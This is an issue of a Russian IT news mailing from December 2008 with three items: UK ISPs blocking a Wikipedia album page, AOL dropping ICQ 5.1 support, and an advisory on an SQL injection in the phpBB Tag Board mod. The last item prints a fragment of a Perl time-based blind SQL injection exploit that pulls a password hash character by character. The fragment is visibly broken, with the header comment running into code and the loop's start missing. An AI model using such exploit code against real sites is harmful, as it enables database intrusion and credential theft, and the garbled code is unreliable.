Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Новости для программистов Выпуск от 10-12-2008


Новости за 10-12-2008

 - : Провайдеры Великобритании закрыли доступ к страницам Википедии
Шесть интернет-провайдеров Великобритании заблокировали одну из страниц онлайновой энциклопедии Wikipedia. Она посвящена альбому Virgin Killer немецкой рок-группы Scorpions. Причиной блокировки послужила обложка альбома, на которой изображена обнаженная девушка.

Страница была заблокирована после того, как попала в черный список организации Internet Watch Foundation, который включает сайты с детской порнографией, сценами насилия над детьми и прочим противозаконным содержанием.

Доступ к разделу онлайновой энциклопедии, посвященному альбому Virgin Killer, заблокировали такие провайдеры, как Virgin Media, Be Unlimited/O2/Telefonica, EasyNet/UK Online, PlusNet, Demon, и Opal. Их услугами пользуется около 95 процентов интернетчиков Великобритании.

Кроме того, из-за внесения Wikipedia в черный список Internet Watch Foundation, тысячи британских пользователей лишились возможности редактировать статьи онлайновой энциклопедии.

Онлайновая энциклопедия Wikipedia была запущена в 2001 году. В настоящее время она объединяет энциклопедические статьи, написанные на 250 языках. В марте текущего года в Wikipedia была написана десятимиллионная статья. Англоязычный раздел Wikipedia является крупнейшим и включает более 2,6 миллиона статей.
Источник


Подробнее...

 -Новости IT : Прекращена поддержка ICQ 5.1
AOL прекратила поддержку ICQ-клиента версии 5.1. Об этом говорится в сообщении от контакта с ICQ-номером 1, разосланном пользователям при подключении. При этом все остальные контакты имеют статус "офлайн".

В сообщении предлагается скачать бесплатную авторизованную версию ICQ 6.5, либо ICQ Lite с сайта ICQ. На момент написания заметки ICQ Lite не позволял подключаться к сети ICQ, сообщая о неправильном номере или пароле.

Некоторые из альтернативных ICQ-клиентов, в частности, QIP Infium, после перехода перестали работать. Пользователи сообщают, что продолжают работать Miranda и Adium. Пользователи уже выразили свое недовольство прекращением поддержки протокола на форумах ICQ.com.

Опытным путем установлено, что сообщение о переходе на ICQ 6 появляется только со входом в сеть ICQ. Если не прерывать сеанс подключения, то старые клиенты работают нормально. Кроме того, части пользователей QIP Infium помогло изменение идентификатора клиента на QIP 2005.

Это не первый случай прекращения работы части клиентов ICQ. 3 октября, например, пользователи также не могли подключиться к сети. В июле 2008 года в связи с переходом серверов AOL на протокол ICQ 6 также произошло отключение альтернативных клиентов.


Подробнее...

 -Web : SQL-инъекция в phpBB Tag Board
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "id" в сценарии tag_board.php, когда параметр "mode" установлен в значение "controlpanel" и параметр "action" равен "delete". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Эксплоит:

#!/usr/bin/perl
# ---------------------------------------------------------------
# phpBB 3 (Mod Tag Board get($host.injection($i,$chars[$j]));

$time2 = time();

if($time2 - $time1 > 6)
{
syswrite(STDOUT,chr($chars[$j]));
$hash .= chr($chars[ $j]);
last;
}

if($i == 1 && length $hash < 0)
{
syswrite(STDOUT,"Exploit Failed!\n");
exit;
}
}
}

Источник


Подробнее...

В избранное